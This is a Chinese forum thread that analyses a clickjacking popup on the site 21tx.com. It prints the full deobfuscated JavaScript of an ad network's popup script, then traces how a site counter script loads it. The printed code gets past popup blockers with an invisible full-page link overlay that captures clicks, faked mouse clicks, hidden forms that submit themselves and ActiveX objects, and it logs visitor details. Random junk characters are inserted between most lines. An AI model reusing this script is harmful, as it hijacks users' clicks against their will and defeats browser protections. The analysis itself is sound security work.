国内也有牛人啊。很有用的。

小狠

天星网ClickJacking点击劫持分析
http://www.21tx.com/ 天星网
我得联系联系作者
刚好打开这个站，发现第一次点击会弹窗，然后就不会，清除下COOKIE，又继续了，然后查看源代码，也没什么奇葩的。
http://www.lxting.com/script/popup/v1_min.js

这个是锁定到底JS脚本，
: U# G9 k  w( E解密后的代码

1. (function() {
   ! C! C; `( S3 h# V
2.     var aa_url = window.ytpp_url;
   ' M( C: _, N( E1 y; S' A) f- y( Z
3.     var ua = navigator.userAgent;
   
4.     var form_div = document.createElement('div');
   
5.     var form_pd = 0;
   2 W: H2 S7 _: R& t& n
6.     var browser = {
   3 b2 L. y6 T/ O: e5 n/ I
7.         ie: /msie/i.test(ua),
   ; C% X" @, g  L. I, o6 u
8.         ie6: /msie 6/i.test(ua),
   
9.         ie7: /msie 7/i.test(ua),
   ; ^; G( v" V9 z/ w: Y' x5 O
10.         ie8: /msie 8/i.test(ua),
    
11.         ie9: /msie 9/i.test(ua),
    0 a4 g; r6 U2 h, B3 S/ Q
12.         360 : /360se/i.test(ua),
    
13.         sogou: /;?se.+?MetaSr/i.test(ua),
    
14.         maxthon: /Maxthon/i.test(ua),
    " E; w" @9 a$ R2 F# t/ a" \) t
15.         tt: /TencentTraveler/i.test(ua),
    
16.         ff: /firefox/i.test(ua),
    9 o& ]: \0 {! K3 @; K* R1 {8 Q
17.         webkit: /AppleWebKit/i.test(ua),
    
18.         opera: /Opera/i.test(ua),
    ) t2 R" S" W! P9 m) V9 ~- x
19.         qqbrowser: /QQBrowser/i.test(ua),
    
20.         cr: /chrome/i.test(ua),
    
21.         gg: window.chrome,
    
22.         theworld: /Theworld/i.test(ua)
    
23.     };
    ) ~0 Y) i6 E/ t2 l, G
24.     var _setting = "";
    
25.     var _ct = 0;
    1 Z2 S( H9 l5 E5 u8 D4 L/ \
26.     var _le = 0;
    3 m% d' S& u! T
27.     var _pd = 1;
    " g1 K- b- Y# L/ v. n5 Z
28.     var _pd2 = 0;
    
29.     var _pc = 1;
    
30.     var _pc2 = 1;
    
31.     var _pco = 0;
    
32.     var _pta = 0;
    : G6 _0 E  k7 j, J, D3 x8 A3 k" p
33.     var _ptb = 0;
    
34.     var _pt2a = 0;
    : A/ ?7 a+ y) Z6 U' m
35.     var _pt2b = 0;
    # y4 @- t% ?) V" y6 I
36.     var _pt3a = 0;
    
37.     var _pt3b = 0;
    : _1 J) n! P" q7 \! c( E
38.     var _pt4a = 0;
    
39.     var _pt4b = 0;
    ' w: j# V9 w8 z
40.     var _pt5a = 0;
    
41.     var _pt5b = 0;
    0 @. {& E8 l1 [) N4 S' a3 @+ }
42.     var _pt6a = 0;
    : F+ G! E4 u4 N; @( |* R2 y
43.     var _pt6b = 0;
    
44.     var _pt7a = 0;
    
45.     var _pt7b = 0;
    ! D( Y1 k$ h7 A4 {, V7 w
46.     var _pt8a = 0;
    
47.     var _pt8b = 0;
    / L& E2 C$ x* i7 n% w1 e
48.     var _pt9a = 0;
    
49.     var _pt9b = 0;
    
50.     var _pt10a = 0;
    
51.     var _pt10b = 0;
    - _* j/ o. J" W8 x
52.     var _po = 0;
    ' O' |, ]$ i8 x
53.     var _poo = 0;
    1 i( y/ n9 @- E$ w# F+ V& ]6 G' P
54.     var ckn, ckt;
    
55.     var ads = 0;
    
56.     function b(w) {
    
57.         var s = w + "=";
    + R) v+ L, v  f
58.         var r = "";
    8 Y% t2 Z3 b# \% t( ~, V
59.         var o = 0;
    
60.         var d = 0;
    # E0 |7 t$ v! U, v( l- l" n" e6 C
61.         var p = document.cookie;
    3 a( b% X3 }, t
62.         if (document.cookie.length > 0) {
      d* j; _5 {5 Q) v% U
63.             o = document.cookie.indexOf(s);
    : P, d/ c4 }' o/ `) h
64.             if (o != -1) {
    & U  W5 V+ M8 _: w, j' h' L* {) V5 G
65.                 o += s.length;
    8 N+ r3 q' y% q4 j
66.                 d = document.cookie.indexOf(";", o);
    
67.                 if (d == -1) d = document.cookie.length;
    2 L: m* ^- N1 X* V- B
68.                 r = unescape(document.cookie.substring(o, d))
    
69.             }
    4 B' K' T+ J6 `
70.         }
    # Z) e' F- i' O0 O+ [
71.         return r
    
72.     };
    " I* w5 j3 v  w$ j
73.     function p(w, p, v) {
    9 B1 x) U2 v5 t% R  W
74.         var t = 30;
    
75.         try {
    
76.             t = parseFloat(p) * 1
    
77.         } catch(e) {
      D: u4 \; p* o, l/ p0 _! b; G
78.             t = 30
      \! r# i* T$ d1 ~9 g$ E2 p
79.         }
    " D# j# N" X! z! P0 I9 I$ }
80.         if (isNaN(t)) t = 30;
    
81.         var then = new Date();
    ! h+ n* [, y1 w9 \; _$ ?' s8 E0 k
82.         then.setTime(then.getTime() + t * 60 * 1000);
    
83.         document.cookie = w + '=' + v + ';expires=' + then.toGMTString() + ';path=/;'
    4 Y0 o: B  y$ V6 W
84.     };
    
85.     function init() {
    ( y4 P5 V" j3 R; E
86.         _setting = ytpp_sti;
    8 @. t8 d/ Y- F0 q6 I- z
87.         if (getp(_setting, "CT")) {
    ) I$ f  d1 [1 M1 _  ^) Y
88.             _ct = getp(_setting, "CT")
    
89.         }
    
90.         if (getp(_setting, "LE")) {
    
91.             _le = getp(_setting, "LE")
    
92.         }
    
93.         if (getp(_setting, "PD2")) {
    
94.             _pd2 = getp(_setting, "PD2")
    , o$ A! E* Z$ P! }' @( ^
95.         }
    
96.         if (getp(_setting, "PC2")) {
      U* O9 P7 k( K) L4 m
97.             _pc2 = getp(_setting, "PC2")
    
98.         }
    $ K# x  y2 _5 D7 x- A8 _
99.         if (getp(_setting, "PCO")) {
    4 O) W0 E) u( g
100.             _pco = getp(_setting, "PCO")
     6 C+ S8 t+ _, i, Q
101.         }
     
102.         for (var i = 1; i <= 10; i++) {
     
103.             var n = i == 1 ? "": i;
     " Y( {$ q" S( ~
104.             if (getp(_setting, "PT" + n)) {
     ! ~: ]! [( V1 ?
105.                 eval("var _pt" + n + " = getp(_setting, 'PT" + n + "').split(',');");
     * y( W0 c0 X+ d/ i% y. Y4 r8 x
106.                 eval("_pt" + n + "a = _pt" + n + "[0];");
     ' W4 B9 g% X: l( o  [. r0 z% d
107.                 eval("_pt" + n + "b = _pt" + n + "[1];")
     & E9 w0 Y% U- n- R; y4 K: v
108.             }
     2 k7 B$ {0 ?! i5 }% |5 g
109.         }
     
110.         if (getp(_setting, "PO")) {
     
111.             _po = getp(_setting, "PO")
     
112.         }
     2 k, W& F# y; o. d
113.         if (getp(_setting, "POO")) {
     
114.             _poo = getp(_setting, "POO")
     / n+ x: h6 s) H7 {' Y' Z7 h
115.         }
     
116.         if (_pco == 1 || _poo == 1) {
     
117.             if (_poo == 1) {
     
118.                 _pco = 0
     # i* ^$ n/ D( X- j- |$ ?7 R  L
119.             } else {
     " ?3 J7 C, k- `* g- j/ _0 d
120.                 _poo = 0
     
121.             }
     
122.             _pd = _pd2 = _pc = _pc2 = _po = _pta = _ptb = 0;
     
123.             for (var i = 2; i <= 10; i++) {
     
124.                 eval("_pt" + i + "a = _pt" + i + "b = 0;")
     
125.             }
     & b9 {$ ?" Y8 S) I; c+ V4 Q, l
126.         }
     
127.     };
     
128.     function getp(s, p) {
     " Y) ^+ O* _4 u5 n. d, d
129.         var i = s.indexOf(p + ":");
     9 O% i; H" }$ Y% I6 z
130.         if (i >= 0) {
     
131.             return s.substr(i + p.length + 1, s.substr(i).indexOf(";") - p.length - 1)
     6 I+ w9 N; o3 B! E' P0 m
132.         }
     & ]; X; P! ~$ H- D
133.     };
     
134.     function event(e, event, func, act) {
     ; |' v% B: k5 f6 o
135.         if (browser.ie) e[act === undefined ? 'attachEvent': 'detachEvent']('on' + event, func);
     
136.         else e[act === undefined ? 'addEventListener': 'removeEventListener'](event, func, false)
     * a- p" b% V2 U$ ~8 E- Y
137.     }
     : e4 y/ j9 e; ?  s- N4 w
138.     function pop(url, param) {
     
139.         if (!document.body) {
     , b3 l% u! t4 q( v; o+ I" H4 M
140.             return setTimeout(function() {
     
141.                 pop(url, param)
     
142.             },
     
143.             13)
     
144.         }
     
145.         try {
     4 D$ s7 P. o; n& K6 m. z8 u9 J
146.             if (browser['cr'] && browser['gg']) {
     
147.                 try {
     9 a7 ~* ^2 c2 ]2 E* K9 w/ \
148.                     hrefopen(url)
     # W4 m0 @3 J* Q3 T! |5 ]
149.                 } catch(e) {
     
150.                     a_pop(url)
     
151.                 }
     
152.             } else if (browser['webkit'] && browser['maxthon']) {
     9 ?$ W) j/ ]( L' T
153.                 if (!func(url)) {
     
154.                     try {
     # z+ [4 b4 L% t: b' q
155.                         form_pop(url);
     ( k" F3 W5 P+ M  m' n
156.                         a_pop(url)
     8 C: x3 h) b: y% ^
157.                     } catch(e) {}
     . Z* S; o; K: _) C
158.                 }
     / K2 H- D. ^0 i  f8 ?0 ?# V
159.             } else if (browser['tt']) {
     
160.                 try {
     5 Y# u7 b4 J# H. d' W0 }3 j% e
161.                     object_pop(url)
     
162.                 } catch(e) {
     ! G+ ~( f; X2 U, s& q; K
163.                     a_pop(url)
     2 H  ~( D) N8 U# l9 s5 k3 a
164.                 }
     
165.             } else if (browser['sogou']) {
     
166.                 if (!func(url)) {
     
167.                     try {
     
168.                         a_pop(url)
     
169.                     } catch(e) {}
     * J; `$ Z5 l) Y" F# ]+ b5 Y
170.                 }
     $ m: M, V1 t0 F9 E/ Z
171.             } else if (browser['webkit'] && browser['qqbrowser']) {
     
172.                 if (!func(url)) {
     
173.                     try {
     
174.                         form_pop(url)
     
175.                     } catch(e) {
     - }: n+ h' v# U! Q8 d
176.                         click_pop(url)
     
177.                     }
     3 v/ V, y. r+ f4 m& T4 ]
178.                 }
     8 X8 K& k0 f* H
179.             } else if (browser['webkit'] || browser['opera']) {
     / Y$ s, E- \- Y7 I
180.                 try {
     . _( `! a5 R7 x$ }- e( S* R
181.                     form_pop(url);
     
182.                     a_pop(url)
     
183.                 } catch(e) {}
     
184.             } else if (browser['theworld'] && browser.ie6) {
       _  Z4 h7 @; O/ [
185.                 if (!object_pop2(url)) {
     
186.                     a_pop(url)
     6 [1 f+ n% h8 D( F
187.                 }
     
188.             } else if (browser['theworld'] && browser.ie8) {
     
189.                 if (!func(url)) {
     
190.                     try {
     0 ?0 W* C0 M3 C; t
191.                         object_pop(url)
     & u6 l  X, E6 ?2 f- m) O
192.                     } catch(e) {
     
193.                         click_pop(url)
     
194.                     }
     ) h: X/ A. Y% x5 }" Y) y
195.                 }
     ( ]3 C3 h3 N$ j% M
196.             } else if (browser.ie6) {
     
197.                 if (!func(url)) {
     
198.                     object_pop2(url)
     
199.                 }
     
200.             } else if (browser.ie8) {
     
201.                 if (!func(url)) {
     
202.                     try {
     ' D0 z7 I, H" u( |( m' M  I
203.                         object_pop(url)
     
204.                     } catch(e) {
     0 L! r8 v4 \/ @- D( Q8 O( g: R
205.                         document.onclick = function() {
     + ?5 O( E1 ], n$ H  t5 j
206.                             func(url);
     % ^  u7 F% A* n# p2 G
207.                             document.onclick = null
     
208.                         }
     ; L! p5 t' S0 L$ g) n% m% q# @
209.                     }
     ( n! K5 ?4 a9 R+ T
210.                 }
     2 \" W% n9 Z+ R8 F6 k8 c3 {
211.             } else if (browser['ie']) {
     
212.                 try {
     2 b, S/ n9 |& ]4 f
213.                     object_pop(url)
     
214.                 } catch(e) {
     
215.                     click_pop(url)
     
216.                 }
     
217.             } else if (browser['ff']) {
     
218.                 if (!func(url)) {
     
219.                     click_pop(url)
     + q0 v! [+ C6 p6 G2 b
220.                 }
     & p! ?; q4 T8 W9 W8 L+ R, E
221.             } else {
     
222.                 if (!func(url)) {
     
223.                     click_pop(url)
     
224.                 }
     
225.             }
     
226.         } catch(e) {
     
227.             if (browser.ie7 || browser.ie8 || browser.ie9 || browser['qqbrowser']) {
     + I3 R4 s1 j3 y9 f6 ^
228.                 click_pop(url)
     
229.             } else {
     ( {& ^+ x5 b, |7 U; p  P
230.                 a_pop(url)
     1 H, s, a& j& S; R, C2 T. r
231.             }
     + Q( n, f  [7 F  |1 p- W5 H* N
232.         }
     % t; g( N) D( |' n' Y+ u
233.     }
     0 @" ]% M6 E) e+ s& _% i4 E8 u
234.     function object_pop(url, param) {
     , C+ R( D, D0 N$ t# q
235.         var object = document.createElement('object');
     
236.         object.setAttribute('classid', 'CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6');
     % o) V% v5 `' `! ~. \& ]) G0 {
237.         object.style.cssText = 'position:absolute;left:1px;top:1px;width:1px;height:1px;';
     . [8 b( g3 g) B! h# T
238.         append(object);
     : H; O+ y, Q& G
239.         object.launchURL(url);
     " o. r- @$ @9 S# y6 |
240.         ads++;
     
241.         p(ckn, ckt, ads)
     
242.     }
     1 k4 L4 v4 [" k5 K
243.     function object_pop2(url, param) {
     
244.         var object2 = document.createElement('object');
     
245.         object2.setAttribute('classid', 'clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A');
     
246.         object2.style.cssText = 'position:absolute;left:1px;top:1px;width:1px;height:1px;';
     
247.         append(object2);
     . ^7 z7 e! e4 ~8 p
248.         for (var i in object2) {
     
249.             try { (function(o) {})(object2[i])
     ' d' S3 T; A) a. N
250.             } catch(e) {}
     
251.         }
     
252.         setTimeout(function() {
     
253.             object2.DOM.Script.open(url, '_blank', '')
     
254.         },
     2 y6 f/ N  O: T$ E8 o. m+ d
255.         500);
     & W5 h0 W# p9 ^( I
256.         ads++;
     1 d; g/ w. ]" ~& I. g: Q/ X
257.         p(ckn, ckt, ads)
     9 F6 Y- b' _% u7 I8 N7 ]
258.     }
     6 V- h2 Y3 ?2 `& e% H8 u. J) W. ?
259.     function append(e) {
     * ~- Q4 f  I4 _
260.         for (var t in {
     6 T1 z1 V' K& m1 {9 r
261.             body: 1
     + m2 H& x8 Y, \1 I/ ~' ]- v+ S
262.         }) {
     6 |/ R6 A: F9 u# J
263.             var ele = document.getElementsByTagName(t);
     
264.             for (var i = 0; i < ele.length; i++) {
     * R- B; k3 _8 H; S! T. B
265.                 ele[i].insertBefore(e, ele[i].firstChild);
     1 u5 y! }  I" q" c# f
266.                 return
     ! l) d5 f; [" g: i% c
267.             }
     
268.         }
     
269.     }
     
270.     function hrefopen(url) {
     ' l& c6 X( c8 R! A
271.         try {
     
272.             var c = document.createElement("a");
     ) N# P) A) c$ c0 ^! l9 |: b: G
273.             c.setAttribute("href", url);
     ) U) m0 `  @9 l" p. C9 E+ @
274.             c.setAttribute("target", "_blank");
     ( _) h+ [& N' o( \
275.             c.setAttribute("style", "display:none;");
     * n) q5 X! x. p" B! g
276.             var b = document.createEvent("MouseEvents");
     ( K  {& q  a' I$ N
277.             b.initMouseEvent("click", false, false, window, 0, 0, 0, 0, 0, true, false, false, false, 0, null);
     ( c+ H3 L% W" T5 j# g0 w( t
278.             c.dispatchEvent(b);
     
279.             ads++;
     # S0 B; W8 O4 V$ k7 ]
280.             p(ckn, ckt, ads);
     / C: R& o1 h- |- r+ v+ P
281.             return true
     " l$ l( j( N, k" L9 H
282.         } catch(q) {
     
283.             return false
     * L3 f2 w" m5 c) C- o: @6 ~: y6 p3 t
284.         }
     % }. |! h: O& r0 L& H3 p4 B
285.     }
     . \* S9 \/ b6 z  h' `
286.     function form_pop(url) {
     . q$ o2 |7 S$ j. r$ _7 S7 _
287.         form_div.setAttribute('id', '__unionsky_push_d_object_box__');
     
288.         form_div.setAttribute('style', 'display:none');
     
289.         var form = document.createElement('form');
     
290.         form.setAttribute('action', aa_url);
     7 a- j0 L& y; W6 y# a" p
291.         form.setAttribute('method', 'post');
     9 R2 e* T" x, y) |: K4 }( {* U7 {
292.         form.setAttribute('name', '__unionsky_push_d_form_box__');
     : u( L/ d3 c5 ^
293.         form.setAttribute('target', '_blank');
     
294.         form.setAttribute('style', 'display:none');
     ' l6 G; t1 k1 s
295.         var sinput = document.createElement('input');
     2 K4 ?) h. n" ^' x
296.         sinput.setAttribute('style', 'display:none');
     
297.         sinput.setAttribute('type', 'submit');
     " r3 K. [% ~& U: }$ _8 o
298.         sinput.setAttribute('id', '_sumit_2app');
     5 e& U% ^& P1 U6 O* W
299.         form.appendChild(sinput);
     # S* V" z: p/ M
300.         form_div.appendChild(form);
     7 C( I9 V6 [+ O  \5 E# W0 {- d
301.         append(form_div);
     
302.         var unionsky_from = document.forms["__unionsky_push_d_form_box__"];
     
303.         try {
     
304.             document.getElementById("_sumit_2app").click()
     ) u3 n! e' w- {2 Q) `+ N( _; l
305.         } catch(e) {
     ; U2 B8 c2 M& N
306.             event(document, 'keyup',
     5 [2 H  g& E+ E  W/ _6 q
307.             function(e) {
     
308.                 if (document.getElementById('__unionsky_push_d_object_box__') == null) {
     3 Z: M9 x' {# m* h  F( B5 M
309.                     return
     ' ]4 p5 A2 r. h) d* ^9 Z
310.                 };
     
311.                 e = e || window.event;
       v5 j6 E3 B1 J' `3 K2 K
312.                 e.canceBubble = true;
     
313.                 event(document, 'keyup', arguments.callee, true);
     
314.                 form_pd = 1;
     
315.                 unionsky_from.submit()
     / J, T. X5 ~' a& I% \4 b, H4 j. y; ~
316.             })
     " B4 _1 Q% ?2 x& A" w2 X
317.         }
     
318.     };
     & d* R8 u8 X, n4 u& f( e
319.     function click_pop(url, param) {
     2 c- ~/ |$ ~2 L3 M: `) K
320.         event(document, 'mouseup',
     - k( C% u+ W2 R0 q* T# M/ T7 t
321.         function(e) {
     ) M& Y0 M: s2 a: r& X! m% F% G
322.             e = e || window.event;
     
323.             e.canceBubble = true;
     
324.             event(document, 'mouseup', arguments.callee, true);
     
325.             func(url, param);
     
326.             ads++;
     
327.             p(ckn, ckt, ads)
     
328.         })
       J8 S" l8 M- w9 o
329.     };
     $ r* h  f3 W6 L
330.     function a_pop(url) {
     - Q3 {5 d! }  c" F% g8 V
331.         if (ytpp_plid == 166028) {
     
332.             return
     
333.         }
     
334.         if (!document.body) {
     : X* \  o3 w! E
335.             return setTimeout(function() {
     
336.                 a_pop(url)
     
337.             },
     ) W% [& p. F+ e% C8 ~% b0 t
338.             13)
     
339.         }
     
340.         var a = document.createElement("a");
     7 s9 t+ f8 p. g# l
341.         a.href = url;
     : {7 O, c: r1 C! g% H+ V& H
342.         a.target = "_blank";
     
343.         var div = document.createElement('div');
     0 r" d0 n  l) |: d, w  o3 U2 D
344.         div.style.backgroundColor = '#fff';
     " t  E" S+ U* ]
345.         a.appendChild(div);
     . ?0 I# q4 u6 I3 e: Y1 ?4 A
346.         append(a);
     
347.         var as = a.style;
     
348.         as.position = "absolute";
     / K- k6 E3 H( q0 Q  C% H. I2 o/ g
349.         as.zIndex = '2147483647';
     - W5 }/ s" U0 L% _; q# O8 P
350.         as.display = "block";
     
351.         as.top = "0px";
     ! O. o; P4 e' u* J8 V
352.         as.left = "0px";
     
353.         as.cursor = 'default';
     1 q! e2 d; }. T1 B! W; }# `4 o' C
354.         as.opacity = "0";
     
355.         as.filter = "alpha(opacity:0)";
     " y1 f; u5 u! Y( ^3 t7 M
356.         var m = setInterval(function() {
     ' s! d, M& o% t5 V* `
357.             if (form_pd == 1) {
     3 T% @$ b( O4 B3 p
358.                 a.parentNode.removeChild(a);
     
359.                 clearInterval(m);
     4 I. @9 W* P0 Y8 J) k- m4 M
360.                 return
     ) d( {- z' L4 x, P8 b* S# [
361.             }
     
362.             a.style.zIndex = '2147483647';
     % ]: p, N9 n+ A# q+ h
363.             var d = (document.compatMode.toLowerCase() == 'css1compat') ? document.documentElement: document.body;
     
364.             a.style.top = Math.max(document.documentElement.scrollTop, document.body.scrollTop) + 'px';
     
365.             div.style.width = Math.min(d.clientWidth, d.scrollWidth) + 'px';
     : F7 r. h) f( T) I5 r
366.             div.style.height = d.clientHeight + 'px';
     
367.             if (browser['ie']) {
     % S5 k+ V  `2 [$ N. S
368.                 try {
     0 J7 {  o. U& L- Z0 |
369.                     var divs = document.body.childNodes;
     
370.                     for (var i = 0; i < divs.length; i++) {
     
371.                         if (!divs[i]['style']) {
     . H# X6 U4 a/ d: x: @! o% {) B
372.                             continue
     
373.                         }
     6 V9 t9 N7 f( b# F) z; D7 }, z
374.                         var _i = parseInt(divs[i].style.zIndex);
     
375.                         if (_i && divs[i] != a && _i == 2147483647) {
     
376.                             divs[i].style.zIndex = _i - 1
     9 q' S% R$ Q+ d, p
377.                         }
     . L9 }0 |7 t9 z; z" D
378.                     }
     # C5 F8 L4 R: }- G& Y
379.                     a.style.zIndex = '2147483647'
     8 L# |/ B1 Q' T% i- x/ n7 f' o' g7 Y
380.                 } catch(e) {}
     & b$ H2 T& Q6 f5 w
381.             }
     . I2 K; o- C- Z# k% R( v# R  J
382.         },
     
383.         120);
     
384.         a.onclick = function(e) {
     
385.             if (document.getElementById('__unionsky_push_d_object_box__') != null) {
     
386.                 form_div.parentNode.removeChild(form_div)
       X+ j2 T+ |1 ^
387.             }
     
388.             e = e || window.event;
     
389.             e.cancelBubble = true;
     
390.             setTimeout(function() {
     
391.                 a.parentNode.removeChild(a)
     * A, ?$ j- n9 ?0 i
392.             },
     
393.             200);
     ) }* x$ W$ J& X# W1 [7 K% L: Q, f. c
394.             clearInterval(m);
       M' F9 x0 I" L! p
395.             ads++;
     
396.             p(ckn, ckt, ads)
     
397.         };
     - D% L! D& Z7 o, t' o
398.         event(a, 'mouseup',
     . }% J: _( I% X
399.         function(e) {
     
400.             e = e || window.event;
     
401.             e.cancelBubble = true
     $ R& E8 M- T; R1 ]7 B# D
402.         })
     % L1 O' r0 |5 `0 ^% r. g
403.     }
     : J4 T) Z; y! r  c
404.     function func(url, param) {
     ; c' j+ R6 u8 N, M
405.         var f = window[String.fromCharCode(111, 112, 101, 110)];
     
406.         var w = f(url, '_blank', 'left=0,top=0,toolbar=yes,location=yes,status=yes,menubar=yes,scrollbars=yes,resizable=yes,width=' + screen.width + ',height=' + screen.height);
     3 t6 r# t$ n5 y  O' f% t' L# Y  F
407.         if (w) {
     8 ~# ]6 I6 i% G+ m+ ?6 n
408.             ads++;
     
409.             p(ckn, ckt, ads)
     
410.         };
     
411.         return w
     " N3 ]4 v* f, K
412.     }
     - L0 o. s+ q9 Q* \. e' I
413.     function fstart(url) {
     , d4 l$ U# P+ r) h( B
414.         init();
     9 [! g5 [8 V( v% P* [5 ^' L
415.         if (_ct >= 0) {
     
416.             ckn = "YITIAN_NUM";
     ( ]: H" |. [+ y! ^; |
417.             ckt = _ct
     3 ^) N, h. e0 }% a( g
418.         } else {
     
419.             ckn = "YITIAN_ALL";
     " j& J7 o8 a, e/ N# m5 }# Y
420.             ckt = Math.abs(_ct)
     9 m& s! N3 Z: b) E5 j! ?2 U
421.         }
     9 o  I! K0 I5 m& k
422.         if (ckt > 0) {
     $ h" ^3 X* }, }4 N7 {
423.             if (b(ckn)) {
     ) w/ g% F/ \! H) b! k
424.                 try {
     
425.                     ads = parseFloat(b(ckn))
     ) b0 M* \- W+ M1 i
426.                 } catch(q) {}
     * w- M8 H. u5 J5 \) I
427.             }
     
428.         }
     
429.         if ((ads > 0 && ckn == 'YITIAN_ALL') || ads >= ytpp_ads) {
     
430.             return
     ' m5 L: w/ d- S) o  x
431.         } else {
     5 k! Y% c  C7 l# t' f
432.             if (_le > 0) {
     ! a+ J. ~+ ]( a" H
433.                 setTimeout(go(url), _le * 1000)
     / n* I# e+ E( M9 f: k" e
434.             } else {
     
435.                 go(url)
     & Z7 I- u7 I  O  h2 d
436.             }
     & Y% V* ]6 m& Q  t
437.         }
     
438.     }
     7 h/ N4 v4 e* W+ i+ q# ^$ I
439.     function go(url) {
     
440.         if (_poo == 1) {
     8 R; x9 f- A+ K' k: n4 F
441.             try {
     7 D7 b5 p. M9 J% T# l
442.                 func(url)
     
443.             } catch(q) {}
     $ Z) P. C/ q% c7 ~" ]2 X4 I7 r; o
444.         } else if (_pco == 1) {
     , C; W; r  p( d
445.             a_pop(url)
     $ E" x1 W+ t! F' e
446.         } else {
     
447.             if (_pd == 1) {
     2 g: h4 @5 x) [4 ^) I$ ?
448.                 setTimeout(function() {
     
449.                     pop(url, {
     
450.                         a: 1,
     ) ?: }9 L) {3 d+ @
451.                         b: 2
     & x0 E) _/ N2 ^
452.                     })
     : _3 K' i3 a  L
453.                 },
     1 Q: l% B" t% e  A4 J  g
454.                 300)
     
455.             }
     
456.             if (_pd2 > Math.random()) {
     
457.                 setTimeout(function() {
     
458.                     pop(url, {
     2 z' ~! c; J, d2 d9 w3 M$ F; n
459.                         a: 1,
     
460.                         b: 2
     + ^5 Y) m7 \3 _4 _
461.                     })
     2 u; A3 ~4 V8 J6 J. f. y# g8 k' s
462.                 },
     1 c; f$ a+ k. W! z# F- K
463.                 300)
     
464.             }
     
465.             for (var i = 1; i <= 10; i++) {
     . ~  h! c4 T# P
466.                 var n = i == 1 ? "": i;
     
467.                 if (eval("_pt" + n + "b") > Math.random()) {
     ' U( @3 ?; x. {# B5 D
468.                     setTimeout(function() {
     
469.                         setTimeout(function() {
     
470.                             pop(url, {
     
471.                                 a: 1,
     9 u! m9 }2 ~4 i, {
472.                                 b: 2
     : K4 t8 H, b; y* C* \
473.                             })
     1 {6 N! M& c2 T& W! b" e
474.                         },
     7 o3 T7 N  O" _+ s8 C
475.                         300)
     4 }* s) R+ m. `2 r
476.                     },
     
477.                     parseInt(eval("_pt" + n + "a")) * 1000)
     
478.                 }
     4 @( k% ^# X. E7 J. L6 _0 m
479.             }
     9 ^' w' p5 P. ]6 w
480.             if (_pc2 > Math.random()) {
     ) h3 k! c/ n# ~) R
481.                 a_pop(url)
     
482.             }
     
483.             if (_po > Math.random()) {
     ( ~" g: V. t% O( b9 I. L. T
484.                 try {
     " y% j2 G+ V! b# D. @
485.                     func(url)
     
486.                 } catch(q) {}
     
487.             }
     
488.         }
     
489.     };
     
490.     fstart(aa_url);
     & Y1 i: _* c4 H, w6 \& n! N; I
491.     event(window, 'beforeunload',
     ) O/ ]) ]" J" [) j5 M( N
492.     function() {})
     ( g4 v* x0 c4 Q
493. })();

复制代码

通过浏览器抓包
& ]( S0 Y) I( F1 BURL从这里产生
' y, Y% ?9 Y& ~3 j2 K- n/ ~
http://play.unionsky.cn/show/?placeid=141830


# h( Q' e7 g; x/ |2 s; e* o

小狠

直接打开看不到什么东西
2 l) `* V8 \% X' r- l( @http://www.unionsky.cn/ 是属于这个广告联盟的
我们直接分析抓包的内容
8 T. z! H* E: }+ k

var ytpp_r = encodeURIComponent(encodeURIComponent(document.referrer));
. t2 z6 d" o- K+ L; h2 Z* ]ytpp_r = ytpp_r.length > 1000 ? ytpp_r.substring(0, 1000) : ytpp_r;
var ytpp_u = encodeURIComponent(navigator.userAgent);
var ytpp_s = window.screen.width + "*" + window.screen.height;
/ }4 B. m: H" g6 t! l3 u5 avar ytpp_l = navigator.browserLanguage || navigator.language;
+ o/ x7 B1 g, R! [, A& z9 uvar ytpp_plid = 141830;
var ytpp_w = 0;
var ytpp_h = 0;
var ytpp_url = "http://www.lxting.com/jmp/?p=f7xNjUO8Y80tB6KZyJ*jzRXjLuoZaOluHDv/IndJK1Z/mc0eKhM2QddlbEorugPwTAd08JIi*oDNYfaUSsF7QNBk3/CB3LW8&r=" + ytpp_r + "&u=" + ytpp_u + "&s=" + ytpp_s + "&l=" + ytpp_l + "&n=" + Math.random();
1 a( P0 p+ Y7 h: h# C* X- lvar ytpp_ads = 14;
var ytpp_sti = 'CT:-3D:1C:1C2:1T:60,1T2:100,1;';
document.write("<script language='javascript' type='text/javascript' src='http://www.lxting.com/pp/?p=f7xNjUO8Y81LybptxG2Vq//rYbtxQcP5GVnJOL07Ka8=&r=" + ytpp_r + "&u=" + ytpp_u + "&s=" + ytpp_s + "&l=" + ytpp_l + "&n=" + Math.random() + "'></script>");
! ]- j" |6 |) {, ~6 }' n! P, Tdocument.write("<script language='javascript' type='text/javascript' src='http://www.lxting.com/script/popup/v1_min.js'></script>");

那么这个http://play.unionsky.cn/show/?placeid=141830又是从哪里被引用进去呢。
继续分析 发现这里
7 S# m& n$ x; t$ d7 A
http://txsite.21tx.com/count/count.js
0 U* h- O( |) Q) ~
$ G2 L) u3 u# M$ N- O$ c

txcount_uid = 1;
; E7 _9 o: G3 E* C- C# h+ m: L4 Mtxcount_uh = 0;
txcount_uw = 0;
txcount_uah = 0;
txcount_uaw = 0;
  g* B8 a5 }( T* f/ E. qtxcount_ucd = 0;
; Z' R* Y2 O, \# E# N- G1 E   
if (window.screen) {
# u- ~. k6 E9 H! |0 _  txcount_uh = window.screen.height;
% ^, A, @$ X; g# t* a  txcount_uw = window.screen.width;
  txcount_uah = window.screen.availHeight;
  txcount_uaw = window.screen.availWidth;
  txcount_ucd = window.screen.colorDepth;
}
   
   
. ?+ {4 [- _% e! L6 Mvar url = "http://txsite.21tx.com/count/count.aspx";
* z1 Q1 |/ U5 w5 c+ ?4 P' O* Nurl = url + "?u="+ txcount_uid;
//url = url + "&f=" + txcount_f;
- D0 O' w2 e1 d9 Z3 q; B7 Qurl = url + "&k=" + txsite_pagekey;
2 @( V  `* r+ |( y+ E//url = url + "&t=" + txcount_t;
url = url + "&l=" + escape(document.location);
5 l  M  @9 U0 K* I7 Hurl = url + "&r=" + escape(document.referrer);
/ X1 a$ i$ o" E$ l8 H" ourl = url + "&uh=" + txcount_uh;
url = url + "&uw=" + txcount_uw;
8 y: o5 A" v7 }" P+ jurl = url + "&uah=" + txcount_uah;
! a9 B3 D/ [' |9 [5 e; h3 x4 O% ~url = url + "&uaw=" + txcount_uaw;
url = url + "&ucd=" + txcount_ucd;
   
! N$ t! T2 x  U' ^4 G) F   
2 h, ~8 |0 `# D5 W. Vdocument.write("<script src=" + url + "><\/script>");
//document.write('<script src="http://s4.cnzz.com/stat.php?id=4820460&web_id=4820460" language="JavaScript" charset="gb2312"><\/script>');
   
